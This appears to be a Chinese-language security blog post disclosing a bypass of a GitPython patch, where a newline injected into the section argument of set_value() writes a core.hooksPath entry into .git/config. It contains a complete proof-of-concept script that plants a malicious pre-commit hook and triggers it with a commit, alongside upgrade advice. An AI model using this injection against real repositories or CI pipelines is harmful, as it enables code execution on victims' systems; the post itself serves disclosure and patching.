乐于分享
好东西不私藏

PyPI 周下载量几百万的GitPython 补丁翻车,一个换行符绕过补丁实现 RCE 漏洞

PyPI 周下载量几百万的GitPython 补丁翻车,一个换行符绕过补丁实现 RCE 漏洞

安全补丁这东西,要么不写,写了就得把门焊死。半扇门关上了,等于没关——还给攻击者留了张纸条,上面写着"往这儿绕"。

GitPython 补丁翻车记:
一个换行符绕过 RCE 修复的故事

GitPython   是 Python 下操作 Git 的主力库,PyPI 周下载量几百万那种。之前爆过一个洞:攻击者能往  .git/config   里写恶意配置,把  core.hooksPath   指向自己控制的目录,等人一 commit 代码就执行了。编号 CVE-2026-42215,3.1.49 打了个补丁。

然后被人绕过了。绕得还挺轻松的。

新漏洞编号:CVE-2026-67326
影响版本:GitPython ≤ 3.1.49
修复版本:3.1.50
漏洞类型:输入验证不完善

补丁写了半截

git/config.py   里  set_value()   有三个参数:  section   、  option   、  value   。之前发现  value   可以注入换行符,于是加了个  _value_to_string_safe   做校验。

但是另外两个参数原封不动丢给了底层的 configparser:

# GitPython 3.1.49 — 补丁后的代码
defset_value(self, section: str, option: str, value) -> "GitConfigParser":
# 只有 value 被验证了
    value_str = self._value_to_string_safe(value)
if not self.has_section(section):
        self.add_section(section)     # section 直接传进去了
    super().set(section, option, value_str)  # option 也没管
return self

攻击者不用碰  value   ,改打  section   就行。补丁拦了前门,侧门开着。

攻击长什么样

关键在  _write()   方法里,section 头是以  "[%s]\n" % name   这种格式写进文件的。既然  section   参数没有换行过滤,那传一个精心构造的字符串进去就行。

把  section   设为  user]\n[core   :

user]\n[core

写进文件后变成:

[user]
[core]

两个合法的 section。攻击者可以在第二个  [core]   下面设置  hooksPath   ,指向自己控制的目录。Git 在触发 hook 时就会去那个目录找脚本执行。

PoC 长这样——概念验证代码,别往生产环境里跑:

import git, os, subprocess

# 初始化一个仓库
repo = git.Repo.init("/tmp/bypass_test")

# 准备恶意 hook
os.makedirs("/tmp/evil_hooks", exist_ok=True)
with open("/tmp/evil_hooks/pre-commit""w"as f:
    f.write("#!/bin/sh\nid > /tmp/rce_proof.txt\n")
os.chmod("/tmp/evil_hooks/pre-commit", 0o755)

# 在 section 参数里注入换行符
with repo.config_writer() as cw:
cw.set_value("user]\n[core", "hooksPath", "/tmp/evil_hooks")

# 验证 hooksPath 被写进去了
r = subprocess.run(
    ["git""-C""/tmp/bypass_test""config""core.hooksPath"],
    capture_output=True, text=True
)
print(r.stdout.strip())  # → /tmp/evil_hooks

# 触发 commit,恶意 hook 被执行
subprocess.run([
"git""-C""/tmp/bypass_test",
"commit""--allow-empty""-m""x"
])
print(open("/tmp/rce_proof.txt").read())
# → uid=1000(...) RCE 确认

注意:这个漏洞是本地攻击向量,需要攻击者已经在目标机器上能跑代码,或者能骗受害者处理一个恶意构造的仓库。但 CI/CD 流水线、代码审查机器人、自动化 Git 操作服务里大量用 GitPython,远程触发也不是没可能。

问题出在哪

说白了,修漏洞的人盯着  value   修,忘了另外两个参数也一样危险。

API 签名长这样:

set_value(sectionoptionvalue)
         ↑ 没验证    ↑ 没验证    ↑ 验证了

三个参数,两个有同样的问题。补丁只封了已经被人捅过的那个。

简单说就是

这个漏洞 CVSS 7.0,高危。首次修复在 3.1.49,被人绕过后 3.1.50 才真正堵上。报告者叫 aslein1413-sys,攻击链路走的是 Git hooks 触发 RCE。跟之前那个洞本质上是一回事,只是换了个入口。

升级就完了

用 GitPython 的话,升到 3.1.50。3.1.49 那个补丁不管用,别留着。

pip install --upgrade GitPython

至于维护开源库的,就一句话:修输入验证漏洞的时候,把所有参数列出来,一个一个看。别只盯着出事的那个修。

说到底

这个漏洞技术上没什么稀奇——没有堆溢出,没有格式化字符串,就是一个换行符。一个  \n   。

补丁本身没写错,但只拦了已知的入口。修漏洞的人盯着 value 参数加校验,攻击者转头就去捅 section。三个入口封了一个,另外两个还是敞开的。

GitPython 是 GitHub Dependabot、一堆 CI 工具的底层依赖。一个换行符就能捅穿一条链。这种漏洞比花哨的利用技术更常见,也更让人头疼。